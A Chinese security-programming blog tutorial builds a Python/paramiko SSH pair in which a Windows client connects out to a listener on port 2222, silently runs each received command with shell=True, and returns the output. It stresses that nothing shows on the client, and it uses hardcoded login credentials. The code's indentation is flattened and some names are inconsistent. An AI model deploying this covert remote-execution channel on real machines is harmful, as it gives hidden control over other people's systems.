网络安全编程——基于Python达成的SSH通信(Windows执行)

news/2025/12/9 23:06:59/文章来源:https://www.cnblogs.com/ljbguanli/p/19328691

网络安全编程——基于Python达成的SSH通信(Windows执行)

接着昨天文章留下的疑问,今天也是给大家带来一篇针对客户端加密通信的SSH通信;
作用:可以在Windows上执行,服务端执行发送的命令,在客户端上不会有任何显示;保证了我们执行命令的保密性

文章目录

    • SSH客户端(改进版)
      • 代码解释:
    • SSH服务端
      • 第一部分
      • 第二部分:
      • 完整代码:
    • 总结
      • 代码效果展示:
      • 服务器操作:
      • 客户端操作:


SSH客户端(改进版)

如果想了解简单的SSH通信在Linux上如何实现,可以看网络安全编程——基于Python实现的SSH通信代码(Linux执行)这篇文章;

我们创建一个新文件,命名为ssh_client.py,并输入以下内容:

import sys
import paramiko
import subprocess
import shlex
def ssh_command(ip, port, user, passwd, command):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, port=port, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command.encode())  # 修复:字节流发送
print(f"Received data is:{ssh_session.recv(1024).decode()}")
while True:
command = ssh_session.recv(1024)
try:
cmd = command.decode().strip()  # 修复:去除空格/换行
if cmd == 'exit':
client.close()
break
# 保留原逻辑(注意:shell=True有风险,但不修改风格)
output_cmd = subprocess.check_output(shlex.split(cmd), shell=True)
ssh_session.send(output_cmd or b'okay')  # 修复:字节流发送
except Exception as e:
ssh_session.send(str(e).encode())  # 修复:字节流发送
client.close()
return
if __name__ == "__main__":
import getpass
user = input(f"username:")
passwd = getpass.getpass()
ip = input("Enter your IP address:")
port = int(input("Enter your port:"))  # 修复:转为整数
ssh_command(ip, port, user, passwd, "ClientConnected~")

代码解释:

  • (1)SSH 连接初始化

    • 关键:AutoAddPolicy() 是为了避免首次连接远程服务器时,因 “主机密钥未验证” 而抛出异常(适合测试 / 信任环境,生产环境需谨慎)。
  • (2)创建交互式 SSH 会话

    • 为什么不用 client.exec_command()
      exec_command() 是 “单次命令执行”(执行完就断开),而 ·open_session()· 是 “持久交互会话”(保持连接,反复收发命令),适合本次的 “持续接收远程指令” 场景。
  • (3)交互式命令循环

参数执行逻辑命令格式要求典型场景
shell=False(默认)直接启动命令对应的可执行程序(如 lspython),命令参数独立传递必须是列表(如 ['ls', '-l']不需要 Shell 特性时(推荐)
shell=True先启动系统 Shell(Linux 是 bash/sh,Windows 是 cmd.exe/PowerShell),再让 Shell 解析并执行命令可以是字符串(如 ls -l grep txt需要 Shell 语法特性时

另外还有一点,我们给服务器发送的第一条命令是ClientConnected。等到写服务器代码的时候,你就会明白为什么要发这么一条命令。


SSH服务端

现在,我们来编写SSH服务器,我们的客户端(指实际运行命令的机器)之后会去连接它。任何操作系统均可,只要上面装了PythonParamiko就可以。

第一部分

import sys
import threading
import socket
import paramiko
import os
CWD = os.path.dirname(os.path.realpath(__file__))
HostKey = paramiko.RSAKey(filename=os.path.join(CWD,'test_rsa.key'))
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_auth_password(self, username, password):
if (username == 'tim') and (password == 'sectools'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED  # 输出:0(paramiko.OPEN_SUCCEEDED 的值)
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED  # 输出:1(paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED 的值)

代码解释:

  • (1)获取当前脚本目录

    CWD = os.path.dirname(os.path.realpath(__file__))
    • 作用:通过os.path.realpath(__file__)获取当前脚本的绝对路径,再通过os.path.dirname提取其所在目录,最终得到脚本的工作目录CWD,用于后续文件(如密钥文件)的路径拼接。
  • (2)加载SSH服务器的主机密钥

    HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key'))
    • 作用:加载一个RSA密钥文件test_rsa.key)作为SSH服务器的主机密钥
    • 背景:SSH服务器需要主机密钥来证明自身身份,客户端连接时会验证该密钥,确保连接的是可信服务器。这里通过paramiko.RSAKey加载本地生成的RSA密钥文件(需提前用ssh-keygen等工具生成)。
  • (3)定义自定义SSH服务器类

    class Server(paramiko.ServerInterface):
    def __init__(self):
    self.event = threading.Event()
    • 细节:paramiko.ServerInterfaceparamiko中用于实现SSH服务器功能的抽象基类(*会Java的师傅应该很熟悉 *),需重写其方法(如认证、命令执行等)来实现自定义逻辑。
    • 线程同步:self.event = threading.Event()初始化了一个线程事件对象,用于多线程环境下的线程同步(例如控制服务器的启动、停止或状态通知)。

第二部分:

接着,像前面讲过的那样,我们打开一个socket监听器,然后把这个监听器“SSH化”,并设置好它的权限认证方式。(具体文章请看TCP服务端实现)

  1. 当一个客户端通过认证,并向我们发送ClientConnected命令后;
  2. 在SSH服务器(即运行ssh_server.py脚本的机器)上运行的任何命令,都会被发送到SSH客户端(即运行ssh_rcmd.py脚本的机器);
  3. 并且在该客户端上执行,执行的结果会回传给SSH服务器。
if __name__ == "__main__":
server_ip = '0.0.0.0'  # 监听所有网卡(避免绑定失败)
ssh_port = 2222  # 避免与系统SSH的22端口冲突
# ----------------------SSH连接部分-------------------------
client = None  # 提前初始化client,避免未定义
try:
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((server_ip, ssh_port))
server_socket.listen(100)
print(f"[+] Listening on {server_ip}:{ssh_port} ....")
client, addr = server_socket.accept()
except Exception as e:
print(f"[-] Connect Failed.." + str(e))
sys.exit(1)  # 绑定失败直接退出,避免后续报错
else:
print(f"[+] Connected from {addr[0]}:{addr[1]}")
# ----------------------SSH认证部分-------------------------
bnsession = paramiko.Transport(client)
bnsession.add_server_key(HostKey)
server = Server()
bnsession.start_server(server=server)
chan = bnsession.accept(20)  # 20秒超时
if chan is None:
print(f"[-] No Channel...")
sys.exit()
print(f"[+] Authenticated!")
print(chan.recv(1024).decode())
chan.send(f"Welcome to bh_ssh".encode())
try:
while True:
command = input(f"Enter command:")
if command != 'exit':
chan.send(command.encode())
respond = chan.recv(4096)
print(respond.decode())
else:
print(f"[-] SSH Server exiting...")
chan.close()
break
except KeyboardInterrupt as e:
print(f"[-] Server Interrupt...")
bnsession.close()

具体代码如上图;

代码解释:

(1) 初始化 SSH 传输层与服务器配置

bhSession = paramiko.Transport(client)
bhSession.add_server_key(HOSTKEY)
server = Server()
bhSession.start_server(server=server)
  • paramiko.Transport(client):创建 SSH 传输层对象,client 是一个已建立的网络连接(如 socket),负责处理 SSH 底层的加密、认证等协议交互。
  • add_server_key(HOSTKEY):添加服务器主机密钥(即之前定义的 HOSTKEY,通常是 RSA 密钥)。该密钥用于向客户端证明服务器身份,客户端连接时会验证此密钥,确保连接的是可信服务器。
  • Server():实例化自定义的 Server 类(继承自 paramiko.ServerInterface),用于实现 SSH 服务器的核心逻辑(如用户认证、通道权限等回调方法)。
  • start_server(server=server):启动 SSH 服务器的服务端流程,将自定义的 server 对象传入,让其接管所有服务器行为(如认证处理、通道请求等)。

(2)接受 SSH 通道请求

chan = bhSession.accept(20)
if chan is None:
print('*** No channel.')
sys.exit(1)
  • bhSession.accept(20):等待并接受客户端的SSH 通道请求,超时时间为 20 秒。SSH 通道是用于传输数据(如命令、文件)的逻辑连接,accept 方法会阻塞直到有通道请求或超时(超时则返回 None)。
  • 若未获取到通道(chan is None),则打印提示并退出程序。

3. 认证成功提示与初始通信

print('[+] Authenticated!')
print(chan.recv(1024))
chan.send('Welcome to bh_ssh')
  • print('[+] Authenticated!'):若执行到此处,说明客户端已通过认证Server 类中需实现认证逻辑,只有认证成功才会允许建立通道)。
  • chan.recv(1024):从 SSH 通道中接收客户端发送的数据(最多 1024 字节),并打印。
  • chan.send('Welcome to bh_ssh'):向客户端发送欢迎消息,完成一次简单的双向通信。

完整代码:

import sys
import threading
import socket
import paramiko
import os
CWD = os.path.dirname(os.path.realpath(__file__))
HostKey = paramiko.RSAKey(filename=os.path.join(CWD,'test_rsa.key'))
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_auth_password(self, username, password):
if (username == 'tim') and (password == 'sectools'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
if __name__ == "__main__":
server_ip = '0.0.0.0'  # 监听所有网卡(避免绑定失败)
ssh_port = 2222  # 避免与系统SSH的22端口冲突
# ----------------------SSH连接部分-------------------------
client = None  # 提前初始化client,避免未定义
try:
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((server_ip, ssh_port))
server_socket.listen(100)
print(f"[+] Listening on {server_ip}:{ssh_port} ....")
client, addr = server_socket.accept()
except Exception as e:
print(f"[-] Connect Failed.." + str(e))
sys.exit(1)  # 绑定失败直接退出,避免后续报错
else:
print(f"[+] Connected from {addr[0]}:{addr[1]}")
# ----------------------SSH认证部分-------------------------
bnsession = paramiko.Transport(client)
bnsession.add_server_key(HostKey)
server = Server()
bnsession.start_server(server=server)
chan = bnsession.accept(20)  # 20秒超时
if chan is None:
print(f"[-] No Channel...")
sys.exit()
print(f"[+] Authenticated!")
print(chan.recv(1024).decode())
chan.send(f"Welcome to bh_ssh".encode())
try:
while True:
command = input(f"Enter command:")
if command != 'exit':
chan.send(command.encode())
respond = chan.recv(4096)
print(respond.decode())
else:
print(f"[-] SSH Server exiting...")
chan.close()
break
except KeyboardInterrupt as e:
print(f"[-] Server Interrupt...")
bnsession.close()

完整代码如上;


总结

代码效果展示:

我们会在一台 Windows 电脑上运行客户端,在一台 Ubuntu电脑上运行服务器。

服务器操作:

首先在server.py文件所在的目录,生成公私钥,然后运行server.py文件

# 生成公私钥
ssh-keygen -t rsa -f test_rsa.key -N ''
# 运行文件
python3 server.py

在这里插入图片描述

正在监听2222端口,等待客户端连接:

在这里插入图片描述

客户端操作:

在 Windows 电脑上运行客户端,按提示输入以下信息(严格对应服务端配置):

username: tim  # 服务端硬编码用户名
Password: sectools  # 服务端硬编码密码(输入不回显)
Enter your IP address: 192.168.44.128  # Ubuntu 服务端IP
Enter your port: 2222  # 服务端监听端口

在这里插入图片描述

回到服务器上,就能够看到客户端的连接了:

在这里插入图片描述

再尝试执行几条命令:

在这里插入图片描述

客户端效果:

在这里插入图片描述

如你所见,客户端连接成功后,我们执行了几条命令。从 SSH 客户端什么也看不出来,但其实我们发出的命令已经在客户端上运行了,输出结果也发回了 SSH 服务器。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/995693.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025 最新水磨石抗污剂厂家 TOP5 评测!环保高性能标杆榜单发布,守护石材持久美观。国内水磨石抗污剂品牌2025年度盘点 - 全局中转站

随着水磨石在商业空间、高端住宅及公共设施中的广泛应用,其易渗污、难养护的问题日益凸显,水磨石抗污剂市场需求持续攀升。本榜单基于产品环保性能、抗污效果持久性、适用场景广泛性及行业口碑四大核心维度,结合国内…

OTOFIX IM2 1-Year Update Subscription: Ensure Latest Vehicle Diagnostics for European/American Cars

Staying Ahead in Automotive Diagnostics: The OTOFIX IM2 One Year Update Service Problem: Outdated Data Holds Back Repairs In today’s rapidly evolving automotive landscape, European and American mechan…

深入解析:2025年11月11日 AI快讯

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

北京守嘉健康干细胞项目介绍 - 品牌排行榜单

守嘉(北京)健康管理有限公司,秉承“引领主动健康,解码生命未来”的理念,通过与生命科学领域的前沿机构北京九思九如健康科技有限公司和北京福安华生物科技有限公司的深度战略合作,整合顶尖科研与临床资源,正式推…

统计文本文件记录

$folderPath = Read-Host "Enter the folder path" function mainMenu { while($prompt -ne ){$totaLines = 0 $n = 0 Get-ChildItem -Path $folderPath -Filter *.txt -Recurse | ForEach-Object { $fileL…

2025最新水洗石抗污剂厂家TOP5评测!环保性能与抗污效果品牌双权威榜单发布,技术赋能重构景观防护生态 - 全局中转站

随着水洗石材料在园林景观、市政工程、商业空间等场景的广泛应用,其抗污防护需求日益凸显。水洗石抗污剂作为提升材料耐久性与美观度的核心产品,市场关注度持续升温。本榜单基于环保安全、抗污性能、场景适配、服务体…

When Ongeki Gets Stuck at the Aime Check

When I updated Ongeki to version 1.21i, I inexplicably ran into the problem of getting stuck at the Aime check. If you are encountering the same issue: I know this is totally messed up, but trust me �…

如果同一个子网中,设备超过255台,那会如何才能保证处于同一子网

要让超过 255 台设备处于同一子网,核心是 扩大网段容量—— 通过选择「网络位更短、主机位更长」的子网掩码(即 CIDR 标识中「/」后面的数字小于 24),让网段可容纳的设备数量超过 253 台(/24 的上限)。关键原理:…

Autel MaxiPRO MP808TS 1-Year Update Subscription: Keep Your Diagnostic Tool Updated Effective

The Challenge: Outdated Diagnostics in a Rapidly Evolving Market Modern vehicles are evolving at an unprecedented pace, with advanced ECUs, hybrid/electric systems, and complex safety protocols becomin…

需求的变更控制

目录1. “变更的影响是可以接受的。”理解方式典型实践2. “受到变更影响的所有人都接到通知并明白这一点。”理解方式典型实践3. “由合适的人选来作出接受变更的正式决定。”理解方式如果没有“正式决定”会发生什么…

在java中实现c#的int.TryParse方法

在java中实现c#的int.TryParse方法在Java中实现类似C#的 int.TryParse方法,确实能带来更安全、更优雅的编码体验(指数字转换)。在.net(c#)的mscorlib程序集中,以System.Int32(int的实际类型)为例,有如下TryParse…

【值得收藏】构建企业级智能体RAG系统:解决大模型五大痛点,让AI真正理解业务 - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

基于微信小应用的茶叶茶具销售和管理系统(源码+论文+部署+安装)

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

我的 OI 生涯(更新中)

生活记录而已,全是流水账,不喜勿喷。 坐标:FJ XM 于 2025-12-9 开始编撰。 内容不会涉及其他人。 前言 父母都是程序员,所以从小多多少少有接触一些编程,也为我日后 OI 的生涯打下了基础。 大概是五年级时,被朋友…

少儿编程哪家强?这几家机构不容错过! - 品牌测评鉴赏家

少儿编程哪家强?这几家机构不容错过!编程热下的选择难题 在当今数字化飞速发展的时代,少儿编程学习已然成为一股热潮。走在街头,时不时就能看到少儿编程培训机构的招牌;打开社交媒体,也总能刷到孩子们展示自己编…

为AI时代蓄力:除了几大热门,还有哪些值得关注的少儿编程选择? - 品牌测评鉴赏家

为AI时代蓄力:除了几大热门,还有哪些值得关注的少儿编程选择?在为孩子选择人工智能与编程学习机构时,许多家长的目光往往聚焦于少数几个知名品牌。然而,教育的选择在于“适合”而非“名气”。如果您希望为孩子寻找…

网络协议之传统DNS存在的问题以及httpdns - 详解

网络协议之传统DNS存在的问题以及httpdns - 详解pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", …

孩子想学人工智能,有推荐的机构吗?2025 年权威测评与精选指南 - 品牌测评鉴赏家

孩子想学人工智能,有推荐的机构吗?2025 年权威测评与精选指南20 25 年教育行业数据显示,75% 的家长在为孩子选择人工智能机构时面临 “课程内容浅层化”“师资背景不透明”“实践场景缺失” 三大难题。调研发现,家…

[挑战成为CCPC传奇单挑王暨第二届CACC游记]一、我又回来了

一首应景小歌送给各位 现在是2025-12-09,刚从CACC回来了,总之是没爆零。第一题是高精度加法,前30%的数据随便过,但是我很不屑,非要拿100%的分,然后没调出来。最后拿了30%。不会套模板,hh。第二题爆零了,我总是…

孩子AI梦起航:靠谱机构大揭秘 - 品牌测评鉴赏家

孩子AI梦起航:靠谱机构大揭秘AI 浪潮下,孩子的新选择 在当今这个科技飞速发展的时代,人工智能(AI)已不再是一个遥远的概念,它正以惊人的速度渗透到我们生活的方方面面。从智能手机中的语音助手,到智能驾驶的汽车…